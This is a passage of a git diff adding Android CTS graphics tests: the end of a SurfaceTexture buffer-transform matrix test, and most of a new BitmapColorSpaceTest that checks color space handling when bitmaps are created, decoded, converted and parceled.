+                0, configs, 0, 1, numConfigs, 0)) {
+            throw new RuntimeException("eglChooseConfig failed");
+        }
+        mEglConfig = configs[0];
+
+        mEglPbuffer = EGL14.eglCreatePbufferSurface(mEglDisplay, mEglConfig,
+                new int[] {EGL_WIDTH, 1, EGL_HEIGHT, 1, EGL_NONE}, 0);
+        if (mEglPbuffer == EGL_NO_SURFACE) {
+            throw new RuntimeException("eglCreatePbufferSurface failed");
+        }
+
+        mEglContext = EGL14.eglCreateContext(mEglDisplay, mEglConfig, EGL_NO_CONTEXT,
+                new int[] {EGL_CONTEXT_CLIENT_VERSION, 2, EGL_NONE}, 0);
+        if (mEglContext == EGL_NO_CONTEXT) {
+            throw new RuntimeException("eglCreateContext failed");
+        }
+
+        if (!EGL14.eglMakeCurrent(mEglDisplay, mEglPbuffer, mEglPbuffer, mEglContext)) {
+            throw new RuntimeException("eglMakeCurrent failed");
+        }
+    }
+
+    @Test
+    public void testSetBuffersTransform() {
+        final int MIRROR_HORIZONTAL_BIT = 0x01;
+        final int MIRROR_VERTICAL_BIT   = 0x02;
+        final int ROTATE_90_BIT         = 0x04;
+        final int ALL_TRANSFORM_BITS    =
+                MIRROR_HORIZONTAL_BIT | MIRROR_VERTICAL_BIT | ROTATE_90_BIT;
+
+        // 4x4 GL-style matrices, as returned by SurfaceTexture#getTransformMatrix(). Note they're
+        // transforming texture coordinates ([0,1]^2), so the origin for the transforms is
+        // (0.5, 0.5), not (0,0).
+        final float[] MIRROR_HORIZONTAL_MATRIX = new float[] {
+            -1.0f,  0.0f,  0.0f,  0.0f,
+             0.0f,  1.0f,  0.0f,  0.0f,
+             0.0f,  0.0f,  1.0f,  0.0f,
+             1.0f,  0.0f,  0.0f,  1.0f,
+        };
+        final float[] MIRROR_VERTICAL_MATRIX = new float[] {
+             1.0f,  0.0f,  0.0f,  0.0f,
+             0.0f, -1.0f,  0.0f,  0.0f,
+             0.0f,  0.0f,  1.0f,  0.0f,
+             0.0f,  1.0f,  0.0f,  1.0f,
+        };
+        final float[] ROTATE_90_MATRIX = new float[] {
+             0.0f,  1.0f,  0.0f,  0.0f,
+            -1.0f,  0.0f,  0.0f,  0.0f,
+             0.0f,  0.0f,  1.0f,  0.0f,
+             1.0f,  0.0f,  0.0f,  1.0f,
+        };
+
+        int[] texId = new int[1];
+        GLES20.glGenTextures(1, texId, 0);
+
+        SurfaceTexture consumer = new SurfaceTexture(texId[0]);
+        consumer.setDefaultBufferSize(16, 16);
+        Surface surface = new Surface(consumer);
+
+        float[] computedTransform = new float[16];
+        float[] receivedTransform = new float[16];
+        float[] tmp = new float[16];
+        for (int transform = 0; transform <= ALL_TRANSFORM_BITS; transform++) {
+            nPushBufferWithTransform(surface, transform);
+
+            // The SurfaceTexture texture transform matrix first does a vertical flip so that
+            // "first row in memory" corresponds to "texture coordinate v=0".
+            System.arraycopy(MIRROR_VERTICAL_MATRIX, 0, computedTransform, 0, 16);
+
+            if ((transform & MIRROR_HORIZONTAL_BIT) != 0) {
+                matrixMultiply(computedTransform, computedTransform, MIRROR_HORIZONTAL_MATRIX, tmp);
+            }
+            if ((transform & MIRROR_VERTICAL_BIT) != 0) {
+                matrixMultiply(computedTransform, computedTransform, MIRROR_VERTICAL_MATRIX, tmp);
+            }
+            if ((transform & ROTATE_90_BIT) != 0) {
+                matrixMultiply(computedTransform, computedTransform, ROTATE_90_MATRIX, tmp);
+            }
+
+            consumer.updateTexImage();
+            consumer.getTransformMatrix(receivedTransform);
+
+            if (DEBUG) {
+                Log.d(TAG, String.format(
+                        "Transform 0x%x:\n" +
+                        "  expected: % 2.0f % 2.0f % 2.0f % 2.0f\n" +
+                        "            % 2.0f % 2.0f % 2.0f % 2.0f\n" +
+                        "            % 2.0f % 2.0f % 2.0f % 2.0f\n" +
+                        "            % 2.0f % 2.0f % 2.0f % 2.0f\n" +
+                        "  actual:   % 2.0f % 2.0f % 2.0f % 2.0f\n" +
+                        "            % 2.0f % 2.0f % 2.0f % 2.0f\n" +
+                        "            % 2.0f % 2.0f % 2.0f % 2.0f\n" +
+                        "            % 2.0f % 2.0f % 2.0f % 2.0f\n",
+                        transform,
+                        computedTransform[ 0], computedTransform[ 1],
+                        computedTransform[ 2], computedTransform[ 3],
+                        computedTransform[ 4], computedTransform[ 5],
+                        computedTransform[ 6], computedTransform[ 7],
+                        computedTransform[ 8], computedTransform[ 9],
+                        computedTransform[10], computedTransform[11],
+                        computedTransform[12], computedTransform[13],
+                        computedTransform[14], computedTransform[15],
+                        receivedTransform[ 0], receivedTransform[ 1],
+                        receivedTransform[ 2], receivedTransform[ 3],
+                        receivedTransform[ 4], receivedTransform[ 5],
+                        receivedTransform[ 6], receivedTransform[ 7],
+                        receivedTransform[ 8], receivedTransform[ 9],
+                        receivedTransform[10], receivedTransform[11],
+                        receivedTransform[12], receivedTransform[13],
+                        receivedTransform[14], receivedTransform[15]));
+            }
+
+            for (int i = 0; i < 16; i++) {
+                assertEquals(computedTransform[i], receivedTransform[i], 0.0f);
+            }
+        }
+    }
+
+    // Multiply 4x4 matrices result = a*b. result can be the same as either a or b,
+    // allowing for result *= b. Another 4x4 matrix tmp must be provided as scratch space.
+    private void matrixMultiply(float[] result, float[] a, float[] b, float[] tmp) {
+        tmp[ 0] = a[ 0]*b[ 0] + a[ 4]*b[ 1] + a[ 8]*b[ 2] + a[12]*b[ 3];
+        tmp[ 1] = a[ 1]*b[ 0] + a[ 5]*b[ 1] + a[ 9]*b[ 2] + a[13]*b[ 3];
+        tmp[ 2] = a[ 2]*b[ 0] + a[ 6]*b[ 1] + a[10]*b[ 2] + a[14]*b[ 3];
+        tmp[ 3] = a[ 3]*b[ 0] + a[ 7]*b[ 1] + a[11]*b[ 2] + a[15]*b[ 3];
+
+        tmp[ 4] = a[ 0]*b[ 4] + a[ 4]*b[ 5] + a[ 8]*b[ 6] + a[12]*b[ 7];
+        tmp[ 5] = a[ 1]*b[ 4] + a[ 5]*b[ 5] + a[ 9]*b[ 6] + a[13]*b[ 7];
+        tmp[ 6] = a[ 2]*b[ 4] + a[ 6]*b[ 5] + a[10]*b[ 6] + a[14]*b[ 7];
+        tmp[ 7] = a[ 3]*b[ 4] + a[ 7]*b[ 5] + a[11]*b[ 6] + a[15]*b[ 7];
+
+        tmp[ 8] = a[ 0]*b[ 8] + a[ 4]*b[ 9] + a[ 8]*b[10] + a[12]*b[11];
+        tmp[ 9] = a[ 1]*b[ 8] + a[ 5]*b[ 9] + a[ 9]*b[10] + a[13]*b[11];
+        tmp[10] = a[ 2]*b[ 8] + a[ 6]*b[ 9] + a[10]*b[10] + a[14]*b[11];
+        tmp[11] = a[ 3]*b[ 8] + a[ 7]*b[ 9] + a[11]*b[10] + a[15]*b[11];
+
+        tmp[12] = a[ 0]*b[12] + a[ 4]*b[13] + a[ 8]*b[14] + a[12]*b[15];
+        tmp[13] = a[ 1]*b[12] + a[ 5]*b[13] + a[ 9]*b[14] + a[13]*b[15];
+        tmp[14] = a[ 2]*b[12] + a[ 6]*b[13] + a[10]*b[14] + a[14]*b[15];
+        tmp[15] = a[ 3]*b[12] + a[ 7]*b[13] + a[11]*b[14] + a[15]*b[15];
+
+        System.arraycopy(tmp, 0, result, 0, 16);
+    }
+
+    private static native void nPushBufferWithTransform(Surface surface, int transform);
+
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapColorSpaceTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapColorSpaceTest.java
new file mode 100644
index 0000000..bc88ad1
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapColorSpaceTest.java
@@ -0,0 +1,743 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.ColorSpace;
+import android.os.Parcel;
+import android.support.annotation.ColorInt;
+import android.support.annotation.NonNull;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.ByteBuffer;
+import java.nio.IntBuffer;
+import java.util.Arrays;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class BitmapColorSpaceTest {
+    private static final String LOG_TAG = "BitmapColorSpaceTest";
+
+    private Resources mResources;
+
+    @Before
+    public void setup() {
+        mResources = InstrumentationRegistry.getTargetContext().getResources();
+    }
+
+    @SuppressWarnings("deprecation")
+    @Test
+    public void createWithColorSpace() {
+        Bitmap b;
+        ColorSpace cs;
+        ColorSpace sRGB = ColorSpace.get(ColorSpace.Named.SRGB);
+
+        // We don't test HARDWARE configs because they are not compatible with mutable bitmaps
+
+        b = Bitmap.createBitmap(32, 32, Bitmap.Config.ARGB_8888, true, sRGB);
+        cs = b.getColorSpace();
+        assertNotNull(cs);
+        assertSame(sRGB, cs);
+
+        b = Bitmap.createBitmap(32, 32, Bitmap.Config.ARGB_8888, true,
+                ColorSpace.get(ColorSpace.Named.ADOBE_RGB));
+        cs = b.getColorSpace();
+        assertNotNull(cs);
+        assertSame(ColorSpace.get(ColorSpace.Named.ADOBE_RGB), cs);
+
+        b = Bitmap.createBitmap(32, 32, Bitmap.Config.RGBA_F16, true, sRGB);
+        cs = b.getColorSpace();
+        assertNotNull(cs);
+        assertSame(ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB), cs);
+
+        b = Bitmap.createBitmap(32, 32, Bitmap.Config.RGBA_F16, true,
+                ColorSpace.get(ColorSpace.Named.ADOBE_RGB));
+        cs = b.getColorSpace();
+        assertNotNull(cs);
+        assertSame(ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB), cs);
+
+        b = Bitmap.createBitmap(32, 32, Bitmap.Config.RGB_565, true, sRGB);
+        cs = b.getColorSpace();
+        assertNotNull(cs);
+        assertSame(sRGB, cs);
+
+        b = Bitmap.createBitmap(32, 32, Bitmap.Config.RGB_565, true,
+                ColorSpace.get(ColorSpace.Named.ADOBE_RGB));
+        cs = b.getColorSpace();
+        assertNotNull(cs);
+        assertSame(sRGB, cs);
+
+        b = Bitmap.createBitmap(32, 32, Bitmap.Config.ALPHA_8, true, sRGB);
+        cs = b.getColorSpace();
+        assertNotNull(cs);
+        assertSame(sRGB, cs);
+
+        b = Bitmap.createBitmap(32, 32, Bitmap.Config.ALPHA_8, true,
+                ColorSpace.get(ColorSpace.Named.ADOBE_RGB));
+        cs = b.getColorSpace();
+        assertNotNull(cs);
+        assertSame(sRGB, cs);
+
+        b = Bitmap.createBitmap(32, 32, Bitmap.Config.ARGB_4444, true, sRGB);
+        cs = b.getColorSpace();
+        assertNotNull(cs);
+        assertSame(sRGB, cs);
+
+        b = Bitmap.createBitmap(32, 32, Bitmap.Config.ARGB_4444, true,
+                ColorSpace.get(ColorSpace.Named.ADOBE_RGB));
+        cs = b.getColorSpace();
+        assertNotNull(cs);
+        assertSame(sRGB, cs);
+    }
+
+    @Test
+    public void createDefaultColorSpace() {
+        ColorSpace sRGB = ColorSpace.get(ColorSpace.Named.SRGB);
+        Bitmap.Config[] configs = new Bitmap.Config[] {
+                Bitmap.Config.ALPHA_8, Bitmap.Config.RGB_565, Bitmap.Config.ARGB_8888
+        };
+        for (Bitmap.Config config : configs) {
+            Bitmap bitmap = Bitmap.createBitmap(32, 32, config, true);
+            assertSame(sRGB, bitmap.getColorSpace());
+        }
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void createWithoutColorSpace() {
+        Bitmap.createBitmap(32, 32, Bitmap.Config.ARGB_8888, true, null);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void createWithNonRgbColorSpace() {
+        Bitmap.createBitmap(32, 32, Bitmap.Config.ARGB_8888, true,
+                ColorSpace.get(ColorSpace.Named.CIE_LAB));
+    }
+
+    @Test
+    public void sRGB() {
+        Bitmap b = BitmapFactory.decodeResource(mResources, R.drawable.robot);
+        ColorSpace cs = b.getColorSpace();
+        assertNotNull(cs);
+        assertSame(ColorSpace.get(ColorSpace.Named.SRGB), cs);
+
+        b = Bitmap.createBitmap(b, 0, 0, b.getWidth() / 2, b.getHeight() / 2);
+        cs = b.getColorSpace();
+        assertNotNull(cs);
+        assertSame(ColorSpace.get(ColorSpace.Named.SRGB), cs);
+
+        b = Bitmap.createScaledBitmap(b, b.getWidth() / 2, b.getHeight() / 2, true);
+        cs = b.getColorSpace();
+        assertNotNull(cs);
+        assertSame(ColorSpace.get(ColorSpace.Named.SRGB), cs);
+    }
+
+    @Test
+    public void p3() {
+        try (InputStream in = mResources.getAssets().open("green-p3.png")) {
+            Bitmap b = BitmapFactory.decodeStream(in);
+            ColorSpace cs = b.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.DISPLAY_P3), cs);
+
+            b = Bitmap.createBitmap(b, 0, 0, b.getWidth() / 2, b.getHeight() / 2);
+            cs = b.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.DISPLAY_P3), cs);
+
+            b = Bitmap.createScaledBitmap(b, b.getWidth() / 2, b.getHeight() / 2, true);
+            cs = b.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.DISPLAY_P3), cs);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    @Test
+    public void extendedSRGB() {
+        try (InputStream in = mResources.getAssets().open("prophoto-rgba16f.png")) {
+            Bitmap b = BitmapFactory.decodeStream(in);
+            ColorSpace cs = b.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB), cs);
+
+            b = Bitmap.createBitmap(b, 0, 0, b.getWidth() / 2, b.getHeight() / 2);
+            cs = b.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB), cs);
+
+            b = Bitmap.createScaledBitmap(b, b.getWidth() / 2, b.getHeight() / 2, true);
+            cs = b.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB), cs);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    @Test
+    public void reconfigure() {
+        try (InputStream in = mResources.getAssets().open("green-p3.png")) {
+            BitmapFactory.Options opts = new BitmapFactory.Options();
+            opts.inMutable = true;
+
+            Bitmap b = BitmapFactory.decodeStream(in, null, opts);
+            ColorSpace cs = b.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.DISPLAY_P3), cs);
+
+            b.reconfigure(b.getWidth() / 2, b.getHeight() / 2, Bitmap.Config.RGBA_F16);
+            cs = b.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB), cs);
+
+            b.reconfigure(b.getWidth(), b.getHeight(), Bitmap.Config.ARGB_8888);
+            cs = b.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.DISPLAY_P3), cs);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    @Test
+    public void reuse() {
+        BitmapFactory.Options opts = new BitmapFactory.Options();
+        opts.inMutable = true;
+
+        Bitmap bitmap1 = null;
+        try (InputStream in = mResources.getAssets().open("green-srgb.png")) {
+            bitmap1 = BitmapFactory.decodeStream(in, null, opts);
+            ColorSpace cs = bitmap1.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.SRGB), cs);
+        } catch (IOException e) {
+            fail();
+        }
+
+        try (InputStream in = mResources.getAssets().open("green-p3.png")) {
+            opts.inBitmap = bitmap1;
+
+            Bitmap bitmap2 = BitmapFactory.decodeStream(in, null, opts);
+            assertSame(bitmap1, bitmap2);
+            ColorSpace cs = bitmap2.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.DISPLAY_P3), cs);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    @Test
+    public void getPixel() {
+        verifyGetPixel("green-p3.png", 0x75fb4cff, 0xff00ff00);
+        verifyGetPixel("translucent-green-p3.png", 0x3a7d267f, 0x7f00ff00); // 50% translucent
+    }
+
+    private void verifyGetPixel(@NonNull String fileName,
+            @ColorInt int rawColor, @ColorInt int srgbColor) {
+        try (InputStream in = mResources.getAssets().open(fileName)) {
+            Bitmap b = BitmapFactory.decodeStream(in);
+            ColorSpace cs = b.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.DISPLAY_P3), cs);
+
+            verifyGetPixel(b, rawColor, srgbColor);
+
+            b = Bitmap.createBitmap(b, 0, 0, b.getWidth() / 2, b.getHeight() / 2);
+            verifyGetPixel(b, rawColor, srgbColor);
+
+            b = Bitmap.createScaledBitmap(b, b.getWidth() / 2, b.getHeight() / 2, true);
+            verifyGetPixel(b, rawColor, srgbColor);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    private static void verifyGetPixel(@NonNull Bitmap b,
+            @ColorInt int rawColor, @ColorInt int srgbColor) {
+        ByteBuffer dst = ByteBuffer.allocate(b.getByteCount());
+        b.copyPixelsToBuffer(dst);
+        dst.rewind();
+
+        // Stored as RGBA
+        assertEquals(rawColor, dst.asIntBuffer().get());
+
+        int srgb = b.getPixel(15, 15);
+        almostEqual(srgbColor, srgb, 3, 15 * b.getWidth() + 15);
+    }
+
+    @Test
+    public void getPixels() {
+        verifyGetPixels("green-p3.png", 0xff00ff00);
+        verifyGetPixels("translucent-green-p3.png", 0x7f00ff00); // 50% translucent
+    }
+
+    private void verifyGetPixels(@NonNull String fileName, @ColorInt int expected) {
+        try (InputStream in = mResources.getAssets().open(fileName)) {
+            Bitmap b = BitmapFactory.decodeStream(in);
+            ColorSpace cs = b.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.DISPLAY_P3), cs);
+
+            verifyGetPixels(b, expected);
+
+            b = Bitmap.createBitmap(b, 0, 0, b.getWidth() / 2, b.getHeight() / 2);
+            verifyGetPixels(b, expected);
+
+            b = Bitmap.createScaledBitmap(b, b.getWidth() / 2, b.getHeight() / 2, true);
+            verifyGetPixels(b, expected);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    private static void verifyGetPixels(@NonNull Bitmap b, @ColorInt int expected) {
+        int[] pixels = new int[b.getWidth() * b.getHeight()];
+        b.getPixels(pixels, 0, b.getWidth(), 0, 0, b.getWidth(), b.getHeight());
+
+        for (int i = 0; i < pixels.length; i++) {
+            int pixel = pixels[i];
+            almostEqual(expected, pixel, 3, i);
+        }
+    }
+
+    @Test
+    public void setPixel() {
+        verifySetPixel("green-p3.png", 0xffff0000, 0xea3323ff);
+        verifySetPixel("translucent-green-p3.png", 0x7fff0000, 0x7519117f);
+    }
+
+    private void verifySetPixel(@NonNull String fileName,
+            @ColorInt int newColor, @ColorInt int expectedColor) {
+        try (InputStream in = mResources.getAssets().open(fileName)) {
+            BitmapFactory.Options opts = new BitmapFactory.Options();
+            opts.inMutable = true;
+
+            Bitmap b = BitmapFactory.decodeStream(in, null, opts);
+            ColorSpace cs = b.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.DISPLAY_P3), cs);
+
+            verifySetPixel(b, newColor, expectedColor);
+
+            b = Bitmap.createBitmap(b, 0, 0, b.getWidth() / 2, b.getHeight() / 2);
+            verifySetPixel(b, newColor, expectedColor);
+
+            b = Bitmap.createScaledBitmap(b, b.getWidth() / 2, b.getHeight() / 2, true);
+            verifySetPixel(b, newColor, expectedColor);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    private static void verifySetPixel(@NonNull Bitmap b,
+            @ColorInt int newColor, @ColorInt int expectedColor) {
+        b.setPixel(0, 0, newColor);
+
+        ByteBuffer dst = ByteBuffer.allocate(b.getByteCount());
+        b.copyPixelsToBuffer(dst);
+        dst.rewind();
+        // Stored as RGBA
+        assertEquals(expectedColor, dst.asIntBuffer().get());
+    }
+
+    @Test
+    public void setPixels() {
+        verifySetPixels("green-p3.png", 0xffff0000, 0xea3323ff);
+        verifySetPixels("translucent-green-p3.png", 0x7fff0000, 0x7519117f);
+    }
+
+    private void verifySetPixels(@NonNull String fileName,
+            @ColorInt int newColor, @ColorInt int expectedColor) {
+        try (InputStream in = mResources.getAssets().open(fileName)) {
+            BitmapFactory.Options opts = new BitmapFactory.Options();
+            opts.inMutable = true;
+
+            Bitmap b = BitmapFactory.decodeStream(in, null, opts);
+            ColorSpace cs = b.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.DISPLAY_P3), cs);
+
+            verifySetPixels(b, newColor, expectedColor);
+
+            b = Bitmap.createBitmap(b, 0, 0, b.getWidth() / 2, b.getHeight() / 2);
+            verifySetPixels(b, newColor, expectedColor);
+
+            b = Bitmap.createScaledBitmap(b, b.getWidth() / 2, b.getHeight() / 2, true);
+            verifySetPixels(b, newColor, expectedColor);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    private static void verifySetPixels(@NonNull Bitmap b,
+            @ColorInt int newColor, @ColorInt int expectedColor) {
+        int[] pixels = new int[b.getWidth() * b.getHeight()];
+        Arrays.fill(pixels, newColor);
+        b.setPixels(pixels, 0, b.getWidth(), 0, 0, b.getWidth(), b.getHeight());
+
+        ByteBuffer dst = ByteBuffer.allocate(b.getByteCount());
+        b.copyPixelsToBuffer(dst);
+        dst.rewind();
+
+        IntBuffer buffer = dst.asIntBuffer();
+        //noinspection ForLoopReplaceableByForEach
+        for (int i = 0; i < pixels.length; i++) {
+            // Stored as RGBA
+            assertEquals(expectedColor, buffer.get());
+        }
+    }
+
+    @Test
+    public void writeColorSpace() {
+        verifyColorSpaceMarshalling("green-srgb.png", ColorSpace.get(ColorSpace.Named.SRGB));
+        verifyColorSpaceMarshalling("green-p3.png", ColorSpace.get(ColorSpace.Named.DISPLAY_P3));
+        verifyColorSpaceMarshalling("prophoto-rgba16f.png",
+                ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB));
+
+        // Special case where the color space will be null in native
+        Bitmap bitmapIn = BitmapFactory.decodeResource(mResources, R.drawable.robot);
+        verifyParcelUnparcel(bitmapIn, ColorSpace.get(ColorSpace.Named.SRGB));
+    }
+
+    private void verifyColorSpaceMarshalling(
+            @NonNull String fileName, @NonNull ColorSpace colorSpace) {
+        try (InputStream in = mResources.getAssets().open(fileName)) {
+            Bitmap bitmapIn = BitmapFactory.decodeStream(in);
+            verifyParcelUnparcel(bitmapIn, colorSpace);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    private void verifyParcelUnparcel(Bitmap bitmapIn, ColorSpace expected) {
+        ColorSpace cs = bitmapIn.getColorSpace();
+        assertNotNull(cs);
+        assertSame(expected, cs);
+
+        Parcel p = Parcel.obtain();
+        bitmapIn.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        Bitmap bitmapOut = Bitmap.CREATOR.createFromParcel(p);
+        cs = bitmapOut.getColorSpace();
+        assertNotNull(cs);
+        assertSame(expected, cs);
+
+        p.recycle();
+    }
+
+    @Test
+    public void p3rgb565() {
+        BitmapFactory.Options opts = new BitmapFactory.Options();
+        opts.inPreferredConfig = Bitmap.Config.RGB_565;
+
+        try (InputStream in = mResources.getAssets().open("green-p3.png")) {
+            Bitmap b = BitmapFactory.decodeStream(in, null, opts);
+            ColorSpace cs = b.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.SRGB), cs);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    @Test
+    public void p3hardware() {
+        BitmapFactory.Options opts = new BitmapFactory.Options();
+        opts.inPreferredConfig = Bitmap.Config.HARDWARE;
+
+        try (InputStream in = mResources.getAssets().open("green-p3.png")) {
+            Bitmap b = BitmapFactory.decodeStream(in, null, opts);
+            ColorSpace cs = b.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.DISPLAY_P3), cs);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    @Test
+    public void guessSRGB() {
+        BitmapFactory.Options opts = new BitmapFactory.Options();
+        opts.inJustDecodeBounds = true;
+
+        try (InputStream in = mResources.getAssets().open("green-srgb.png")) {
+            Bitmap b = BitmapFactory.decodeStream(in, null, opts);
+            ColorSpace cs = opts.outColorSpace;
+            assertNull(b);
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.SRGB), cs);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    @Test
+    public void guessProPhotoRGB() {
+        BitmapFactory.Options opts = new BitmapFactory.Options();
+        opts.inJustDecodeBounds = true;
+
+        try (InputStream in = mResources.getAssets().open("prophoto-rgba16f.png")) {
+            Bitmap b = BitmapFactory.decodeStream(in, null, opts);
+            ColorSpace cs = opts.outColorSpace;
+            assertNull(b);
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB), cs);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    @Test
+    public void guessP3() {
+        BitmapFactory.Options opts = new BitmapFactory.Options();
+        opts.inJustDecodeBounds = true;
+
+        try (InputStream in = mResources.getAssets().open("green-p3.png")) {
+            Bitmap b = BitmapFactory.decodeStream(in, null, opts);
+            ColorSpace cs = opts.outColorSpace;
+            assertNull(b);
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.DISPLAY_P3), cs);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    @Test
+    public void guessAdobeRGB() {
+        BitmapFactory.Options opts = new BitmapFactory.Options();
+        opts.inJustDecodeBounds = true;
+
+        try (InputStream in = mResources.getAssets().open("red-adobergb.png")) {
+            Bitmap b = BitmapFactory.decodeStream(in, null, opts);
+            ColorSpace cs = opts.outColorSpace;
+            assertNull(b);
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.ADOBE_RGB), cs);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    @Test
+    public void guessUnknown() {
+        BitmapFactory.Options opts = new BitmapFactory.Options();
+        opts.inJustDecodeBounds = true;
+
+        try (InputStream in = mResources.getAssets().open("purple-displayprofile.png")) {
+            Bitmap b = BitmapFactory.decodeStream(in, null, opts);
+            ColorSpace cs = opts.outColorSpace;
+            assertNull(b);
+            assertNotNull(cs);
+            assertEquals("Unknown", cs.getName());
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    @Test
+    public void guessCMYK() {
+        BitmapFactory.Options opts = new BitmapFactory.Options();
+        opts.inJustDecodeBounds = true;
+
+        try (InputStream in = mResources.getAssets().open("purple-cmyk.png")) {
+            Bitmap b = BitmapFactory.decodeStream(in, null, opts);
+            ColorSpace cs = opts.outColorSpace;
+            assertNull(b);
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.SRGB), cs);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    @Test
+    public void inColorSpaceP3ToSRGB() {
+        BitmapFactory.Options opts = new BitmapFactory.Options();
+        opts.inPreferredColorSpace = ColorSpace.get(ColorSpace.Named.SRGB);
+
+        try (InputStream in = mResources.getAssets().open("green-p3.png")) {
+            Bitmap b = BitmapFactory.decodeStream(in, null, opts);
+            ColorSpace cs = b.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.SRGB), cs);
+            assertEquals(opts.inPreferredColorSpace, opts.outColorSpace);
+
+            verifyGetPixel(b, 0x3ff00ff, 0xff00ff00);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    @Test
+    public void inColorSpaceSRGBToP3() {
+        BitmapFactory.Options opts = new BitmapFactory.Options();
+        opts.inPreferredColorSpace = ColorSpace.get(ColorSpace.Named.DISPLAY_P3);
+
+        try (InputStream in = mResources.getAssets().open("green-srgb.png")) {
+            Bitmap b = BitmapFactory.decodeStream(in, null, opts);
+            ColorSpace cs = b.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.DISPLAY_P3), cs);
+            assertEquals(opts.inPreferredColorSpace, opts.outColorSpace);
+
+            verifyGetPixel(b, 0x75fb4cff, 0xff00ff00);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    @Test
+    public void inColorSpaceRGBA16F() {
+        BitmapFactory.Options opts = new BitmapFactory.Options();
+        opts.inPreferredColorSpace = ColorSpace.get(ColorSpace.Named.ADOBE_RGB);
+
+        try (InputStream in = mResources.getAssets().open("prophoto-rgba16f.png")) {
+            Bitmap b = BitmapFactory.decodeStream(in, null, opts);
+            ColorSpace cs = b.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB), cs);
